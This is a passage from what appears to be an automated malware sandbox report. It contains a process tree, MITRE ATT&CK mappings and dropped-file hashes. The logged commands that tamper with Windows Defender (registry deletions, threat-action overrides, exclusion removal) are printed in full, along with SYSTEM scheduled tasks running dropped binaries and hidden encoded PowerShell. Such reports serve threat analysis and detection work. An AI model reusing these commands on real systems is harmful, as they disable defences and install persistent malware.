                                                                                                          cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:64
                                                                                                          3⤵
                                                                                                            PID:3044
                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                              REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:64
                                                                                                              4⤵
                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                              PID:2164
                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                            schtasks /CREATE /TN "hqZHIAldIlMAFapWz" /SC once /ST 05:36:34 /RU "SYSTEM" /TR "\"C:\Windows\Temp\oezvKjDueIyqMkkh\VmeXhcWwyYJrVLC\MrpFOUF.exe\" 8g /OsqMdidyN 385121 /S" /V1 /F
                                                                                                            3⤵
                                                                                                            • Drops file in Windows directory
                                                                                                            • Scheduled Task/Job: Scheduled Task
                                                                                                            PID:2332
                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                            schtasks /run /I /tn "hqZHIAldIlMAFapWz"
                                                                                                            3⤵
                                                                                                              PID:2748
                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 2692 -s 648
                                                                                                              3⤵
                                                                                                              • Loads dropped DLL
                                                                                                              • Program crash
                                                                                                              PID:2608
                                                                                                          • C:\Windows\Temp\oezvKjDueIyqMkkh\VmeXhcWwyYJrVLC\MrpFOUF.exe
                                                                                                            C:\Windows\Temp\oezvKjDueIyqMkkh\VmeXhcWwyYJrVLC\MrpFOUF.exe 8g /OsqMdidyN 385121 /S
                                                                                                            2⤵
                                                                                                            • Checks computer location settings
                                                                                                            • Executes dropped EXE
                                                                                                            • Drops Chrome extension
                                                                                                            • Drops file in System32 directory
                                                                                                            • Drops file in Program Files directory
                                                                                                            • Modifies data under HKEY_USERS
                                                                                                            PID:2536
                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                              "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                              3⤵
                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                              PID:1716
                                                                                                              • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                                                                                                4⤵
                                                                                                                • Indirect Command Execution
                                                                                                                PID:2988
                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                  /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                  5⤵
                                                                                                                    PID:872
                                                                                                                    • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                      6⤵
                                                                                                                        PID:1728
                                                                                                                  • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                    forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                                                                                                    4⤵
                                                                                                                    • Indirect Command Execution
                                                                                                                    PID:2860
                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                      5⤵
                                                                                                                        PID:2112
                                                                                                                        • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                          6⤵
                                                                                                                            PID:3040
                                                                                                                      • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                                                                                                        4⤵
                                                                                                                        • Indirect Command Execution
                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                        PID:3028
                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                          /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                          5⤵
                                                                                                                            PID:2244
                                                                                                                            • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                              6⤵
                                                                                                                                PID:1960
                                                                                                                          • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                            forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                                                                                            4⤵
                                                                                                                            • Indirect Command Execution
                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                            PID:2080
                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                              /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                              5⤵
                                                                                                                                PID:404
                                                                                                                                • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                  6⤵
                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                  PID:3036
                                                                                                                            • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                              forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                              4⤵
                                                                                                                              • Indirect Command Execution
                                                                                                                              PID:2000
                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                5⤵
                                                                                                                                  PID:1512
                                                                                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                    powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                    6⤵
                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                    • Drops file in System32 directory
                                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                                    PID:1340
                                                                                                                                    • C:\Windows\SysWOW64\gpupdate.exe
                                                                                                                                      "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                      7⤵
                                                                                                                                        PID:2176
                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                schtasks /DELETE /F /TN "brevOBcwtMwmfXpFer"
                                                                                                                                3⤵
                                                                                                                                  PID:2464
                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True" &
                                                                                                                                  3⤵
                                                                                                                                    PID:2140
                                                                                                                                    • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                      forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
                                                                                                                                      4⤵
                                                                                                                                      • Indirect Command Execution
                                                                                                                                      PID:1520
                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                        5⤵
                                                                                                                                          PID:2868
                                                                                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                            powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                            6⤵
                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                            • Drops file in System32 directory
                                                                                                                                            PID:1424
                                                                                                                                            • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                              "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                              7⤵
                                                                                                                                                PID:2740
                                                                                                                                        • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                          forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True"
                                                                                                                                          4⤵
                                                                                                                                          • Indirect Command Execution
                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                          PID:2420
                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                            /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True
                                                                                                                                            5⤵
                                                                                                                                              PID:1916
                                                                                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True
                                                                                                                                                6⤵
                                                                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                                                                • Drops file in System32 directory
                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                PID:2028
                                                                                                                                                • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                                  "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True
                                                                                                                                                  7⤵
                                                                                                                                                    PID:2372
                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                            schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\GDKLdqUtU\jBBtez.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "sFSsfXwkTcRCkFw" /V1 /F
                                                                                                                                            3⤵
                                                                                                                                            • Drops file in Windows directory
                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                            • Scheduled Task/Job: Scheduled Task
                                                                                                                                            PID:2388
                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                            schtasks /CREATE /TN "sFSsfXwkTcRCkFw2" /F /xml "C:\Program Files (x86)\GDKLdqUtU\HTxmJHG.xml" /RU "SYSTEM"
                                                                                                                                            3⤵
                                                                                                                                            • Scheduled Task/Job: Scheduled Task
                                                                                                                                            PID:2940
                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                            schtasks /END /TN "sFSsfXwkTcRCkFw"
                                                                                                                                            3⤵
                                                                                                                                              PID:1916
                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                              schtasks /DELETE /F /TN "sFSsfXwkTcRCkFw"
                                                                                                                                              3⤵
                                                                                                                                                PID:900
                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                schtasks /CREATE /TN "OVOZXEmVyePLQu" /F /xml "C:\Program Files (x86)\BzZgUWCVslnU2\nxZUTAC.xml" /RU "SYSTEM"
                                                                                                                                                3⤵
                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                • Scheduled Task/Job: Scheduled Task
                                                                                                                                                PID:2384
                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                schtasks /CREATE /TN "XEsGQkyffKcBN2" /F /xml "C:\ProgramData\zUMOljpqvThMsWVB\BdaOwtn.xml" /RU "SYSTEM"
                                                                                                                                                3⤵
                                                                                                                                                • Scheduled Task/Job: Scheduled Task
                                                                                                                                                PID:3048
                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                schtasks /CREATE /TN "eUppvcsKMrMcCdRNI2" /F /xml "C:\Program Files (x86)\ikpLldRBoAMDCgopzpR\yEXmcvi.xml" /RU "SYSTEM"
                                                                                                                                                3⤵
                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                • Scheduled Task/Job: Scheduled Task
                                                                                                                                                PID:2304
                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                schtasks /CREATE /TN "wgYuswFkcGXOzJDorYE2" /F /xml "C:\Program Files (x86)\zyjVmlprKhGHC\DvfuxjE.xml" /RU "SYSTEM"
                                                                                                                                                3⤵
                                                                                                                                                • Scheduled Task/Job: Scheduled Task
                                                                                                                                                PID:1804
                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                schtasks /CREATE /TN "RUGRXAieVSHNMiZOd" /SC once /ST 00:40:52 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\oezvKjDueIyqMkkh\juKDTFLh\kKgXVBe.dll\",#1 /jwoQdidpr 385121" /V1 /F
                                                                                                                                                3⤵
                                                                                                                                                • Drops file in Windows directory
                                                                                                                                                • Scheduled Task/Job: Scheduled Task
                                                                                                                                                PID:2904
                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                schtasks /run /I /tn "RUGRXAieVSHNMiZOd"
                                                                                                                                                3⤵
                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                PID:2136
                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                schtasks /DELETE /F /TN "hqZHIAldIlMAFapWz"
                                                                                                                                                3⤵
                                                                                                                                                  PID:2948
                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 2536 -s 1572
                                                                                                                                                  3⤵
                                                                                                                                                  • Program crash
                                                                                                                                                  PID:1684
                                                                                                                                              • C:\Windows\system32\rundll32.EXE
                                                                                                                                                C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\oezvKjDueIyqMkkh\juKDTFLh\kKgXVBe.dll",#1 /jwoQdidpr 385121
                                                                                                                                                2⤵
                                                                                                                                                  PID:2088
                                                                                                                                                  • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                    C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\oezvKjDueIyqMkkh\juKDTFLh\kKgXVBe.dll",#1 /jwoQdidpr 385121
                                                                                                                                                    3⤵
                                                                                                                                                    • Blocklisted process makes network request
                                                                                                                                                    • Checks BIOS information in registry
                                                                                                                                                    • Loads dropped DLL
                                                                                                                                                    • Drops file in System32 directory
                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                    • Enumerates system info in registry
                                                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                                                    PID:2908
                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                      schtasks /DELETE /F /TN "RUGRXAieVSHNMiZOd"
                                                                                                                                                      4⤵
                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                      PID:2240
                                                                                                                                              • C:\Windows\system32\taskeng.exe
                                                                                                                                                taskeng.exe {047728AC-37DF-4F51-85CD-B2314D55D643} S-1-5-21-3290804112-2823094203-3137964600-1000:VORHPBAB\Admin:Interactive:[1]
                                                                                                                                                1⤵
                                                                                                                                                  PID:564
                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\service123.exe
                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\/service123.exe
                                                                                                                                                    2⤵
                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                    • Loads dropped DLL
                                                                                                                                                    PID:2384
                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                                                                    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                                                                    2⤵
                                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                                    • Drops file in System32 directory
                                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                    PID:2648
                                                                                                                                                    • C:\Windows\system32\gpupdate.exe
                                                                                                                                                      "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                      3⤵
                                                                                                                                                        PID:3036
                                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                                                                      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                                                                      2⤵
                                                                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                                                                      • Drops file in System32 directory
                                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                      PID:1776
                                                                                                                                                      • C:\Windows\system32\gpupdate.exe
                                                                                                                                                        "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                        3⤵
                                                                                                                                                          PID:1720
                                                                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                                                                        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                                                                        2⤵
                                                                                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                                                                                        • Drops file in System32 directory
                                                                                                                                                        PID:2940
                                                                                                                                                        • C:\Windows\system32\gpupdate.exe
                                                                                                                                                          "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                          3⤵
                                                                                                                                                            PID:2272
                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\service123.exe
                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\/service123.exe
                                                                                                                                                          2⤵
                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                          • Loads dropped DLL
                                                                                                                                                          PID:884
                                                                                                                                                      • C:\Windows\system32\gpscript.exe
                                                                                                                                                        gpscript.exe /RefreshSystemParam
                                                                                                                                                        1⤵
                                                                                                                                                          PID:2244
                                                                                                                                                        • C:\Windows\system32\gpscript.exe
                                                                                                                                                          gpscript.exe /RefreshSystemParam
                                                                                                                                                          1⤵
                                                                                                                                                            PID:1168
                                                                                                                                                          • C:\Windows\system32\gpscript.exe
                                                                                                                                                            gpscript.exe /RefreshSystemParam
                                                                                                                                                            1⤵
                                                                                                                                                              PID:1084

                                                                                                                                                            Network

                                                                                                                                                            MITRE ATT&CK Enterprise v15

                                                                                                                                                            Reconnaissance

                                                                                                                                                            Resource Development

                                                                                                                                                            Initial Access

                                                                                                                                                            Execution

                                                                                                                                                            Command and Scripting Interpreter

                                                                                                                                                            1
                                                                                                                                                            T1059

                                                                                                                                                            PowerShell

                                                                                                                                                            1
                                                                                                                                                            T1059.001

                                                                                                                                                            Scheduled Task/Job

                                                                                                                                                            1
                                                                                                                                                            T1053

                                                                                                                                                            Scheduled Task

                                                                                                                                                            1
                                                                                                                                                            T1053.005

                                                                                                                                                            System Services

                                                                                                                                                            2
                                                                                                                                                            T1569

                                                                                                                                                            Service Execution

                                                                                                                                                            2
                                                                                                                                                            T1569.002

                                                                                                                                                            Persistence

                                                                                                                                                            Boot or Logon Autostart Execution

                                                                                                                                                            1
                                                                                                                                                            T1547

                                                                                                                                                            Registry Run Keys / Startup Folder

                                                                                                                                                            1
                                                                                                                                                            T1547.001

                                                                                                                                                            Create or Modify System Process

                                                                                                                                                            3
                                                                                                                                                            T1543

                                                                                                                                                            Windows Service

                                                                                                                                                            3
                                                                                                                                                            T1543.003

                                                                                                                                                            Power Settings

                                                                                                                                                            1
                                                                                                                                                            T1653

                                                                                                                                                            Scheduled Task/Job

                                                                                                                                                            1
                                                                                                                                                            T1053

                                                                                                                                                            Scheduled Task

                                                                                                                                                            1
                                                                                                                                                            T1053.005

                                                                                                                                                            Privilege Escalation

                                                                                                                                                            Boot or Logon Autostart Execution

                                                                                                                                                            1
                                                                                                                                                            T1547

                                                                                                                                                            Registry Run Keys / Startup Folder

                                                                                                                                                            1
                                                                                                                                                            T1547.001

                                                                                                                                                            Create or Modify System Process

                                                                                                                                                            3
                                                                                                                                                            T1543

                                                                                                                                                            Windows Service

                                                                                                                                                            3
                                                                                                                                                            T1543.003

                                                                                                                                                            Scheduled Task/Job

                                                                                                                                                            1
                                                                                                                                                            T1053

                                                                                                                                                            Scheduled Task

                                                                                                                                                            1
                                                                                                                                                            T1053.005

                                                                                                                                                            Defense Evasion

                                                                                                                                                            Impair Defenses

                                                                                                                                                            3
                                                                                                                                                            T1562

                                                                                                                                                            Disable or Modify Tools

                                                                                                                                                            2
                                                                                                                                                            T1562.001

                                                                                                                                                            Indirect Command Execution

                                                                                                                                                            1
                                                                                                                                                            T1202

                                                                                                                                                            Modify Registry

                                                                                                                                                            4
                                                                                                                                                            T1112

                                                                                                                                                            Subvert Trust Controls

                                                                                                                                                            1
                                                                                                                                                            T1553

                                                                                                                                                            Install Root Certificate

                                                                                                                                                            1
                                                                                                                                                            T1553.004

                                                                                                                                                            Virtualization/Sandbox Evasion

                                                                                                                                                            2
                                                                                                                                                            T1497

                                                                                                                                                            Credential Access

                                                                                                                                                            Credentials from Password Stores

                                                                                                                                                            1
                                                                                                                                                            T1555

                                                                                                                                                            Credentials from Web Browsers

                                                                                                                                                            1
                                                                                                                                                            T1555.003

                                                                                                                                                            Unsecured Credentials

                                                                                                                                                            4
                                                                                                                                                            T1552

                                                                                                                                                            Credentials In Files

                                                                                                                                                            4
                                                                                                                                                            T1552.001

                                                                                                                                                            Discovery

                                                                                                                                                            Process Discovery

                                                                                                                                                            1
                                                                                                                                                            T1057

                                                                                                                                                            Query Registry

                                                                                                                                                            7
                                                                                                                                                            T1012

                                                                                                                                                            System Information Discovery

                                                                                                                                                            5
                                                                                                                                                            T1082

                                                                                                                                                            System Location Discovery

                                                                                                                                                            1
                                                                                                                                                            T1614

                                                                                                                                                            System Language Discovery

                                                                                                                                                            1
                                                                                                                                                            T1614.001

                                                                                                                                                            Virtualization/Sandbox Evasion

                                                                                                                                                            2
                                                                                                                                                            T1497

                                                                                                                                                            Lateral Movement

                                                                                                                                                            Collection

                                                                                                                                                            Data from Local System

                                                                                                                                                            3
                                                                                                                                                            T1005

                                                                                                                                                            Command and Control

                                                                                                                                                            Web Service

                                                                                                                                                            1
                                                                                                                                                            T1102

                                                                                                                                                            Exfiltration

                                                                                                                                                            Impact

                                                                                                                                                            Service Stop

                                                                                                                                                            1
                                                                                                                                                            T1489

                                                                                                                                                            Replay Monitor

                                                                                                                                                            Loading Replay Monitor...

                                                                                                                                                            Downloads

                                                                                                                                                            • C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi
                                                                                                                                                              Filesize

                                                                                                                                                              2.6MB

                                                                                                                                                              MD5

                                                                                                                                                              a1d723928f6f14616879dea53659e801

                                                                                                                                                              SHA1

                                                                                                                                                              36ad4b6e7e13b2ee5b4180f5469de87b98ee5111

                                                                                                                                                              SHA256

                                                                                                                                                              826663abc52e7503050c02e49f5c46bd678125488eb8db65ffdcd162a0bfd20e

                                                                                                                                                              SHA512

                                                                                                                                                              ac3d151a56d806760164e7e1889622fce100218e02f65e12d558bad2a2a6d490fcf3c5944d25c7e7be181c6b6efeeaf160d144721d6ccfa711835344e42d12cf

                                                                                                                                                              Download Submit

                                                                                                                                                            • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
                                                                                                                                                              Filesize

                                                                                                                                                              342B

                                                                                                                                                              MD5

                                                                                                                                                              f8e8ddb15e191a14cb8dab08d5da5764

                                                                                                                                                              SHA1

                                                                                                                                                              eb7050c8b6fd7cccd21e0a86e7144359e7f0388f

                                                                                                                                                              SHA256

                                                                                                                                                              77352857c317c1b99f2e007ac52ef056ae463978a2558d6264c4c78c15d913ed

                                                                                                                                                              SHA512

                                                                                                                                                              e6f39aa26be9efdbe5c3cb00dbd13eaa6a04190442749edcf727beea5f64333e5846ed69d41de0a38c7f88b5b93fcd4bb0e2860ae20fc8f501265d846b22a926

                                                                                                                                                              Download Submit

                                                                                                                                                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\en_GB\messages.json
                                                                                                                                                              Filesize

                                                                                                                                                              187B

                                                                                                                                                              MD5

                                                                                                                                                              2a1e12a4811892d95962998e184399d8

                                                                                                                                                              SHA1

                                                                                                                                                              55b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720

                                                                                                                                                              SHA256

                                                                                                                                                              32b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb

                                                                                                                                                              SHA512

                                                                                                                                                              bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089

                                                                                                                                                              Download Submit

                                                                                                                                                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\fa\messages.json
                                                                                                                                                              Filesize

                                                                                                                                                              136B

                                                                                                                                                              MD5

                                                                                                                                                              238d2612f510ea51d0d3eaa09e7136b1

                                                                                                                                                              SHA1

                                                                                                                                                              0953540c6c2fd928dd03b38c43f6e8541e1a0328

                                                                                                                                                              SHA256

                                                                                                                                                              801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e

                                                                                                                                                              SHA512

                                                                                                                                                              2630dd7a3c17dc963b1a71d81295cf22f8b3838748b55c433318e1e22f5b143a6d374ca2e5a8420659fa130200fbaa4814d0f093b1eca244b5635a3b99878e1c

                                                                                                                                                              Download Submit

                                                                                                                                                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\pt_BR\messages.json
                                                                                                                                                              Filesize

                                                                                                                                                              150B

                                                                                                                                                              MD5

                                                                                                                                                              0b1cf3deab325f8987f2ee31c6afc8ea

                                                                                                                                                              SHA1

                                                                                                                                                              6a51537cef82143d3d768759b21598542d683904

                                                                                                                                                              SHA256

                                                                                                                                                              0ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf

                                                                                                                                                              SHA512

                                                                                                                                                              5bc1f5a2d38f4a071513e2ac25b241c8e5584bed8d77e7fc4194855898d51a328dd73200f5aae6c9bc1b2a304e40e56bc686192074bd8a1bcc98f4971dee428f

                                                                                                                                                              Download Submit

                                                                                                                                                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                                                                                                                                              Filesize

                                                                                                                                                              10KB

                                                                                                                                                              MD5

                                                                                                                                                              417aab1d671e283932e3e1a414c9a605

                                                                                                                                                              SHA1

                                                                                                                                                              bf8ee0c69881e44e5c77ec651efb69a559786785

                                                                                                                                                              SHA256

                                                                                                                                                              b44bbc9095c3329bd090d5c4fa11724858a6671a00ed752ecc4b78ab97ff615c

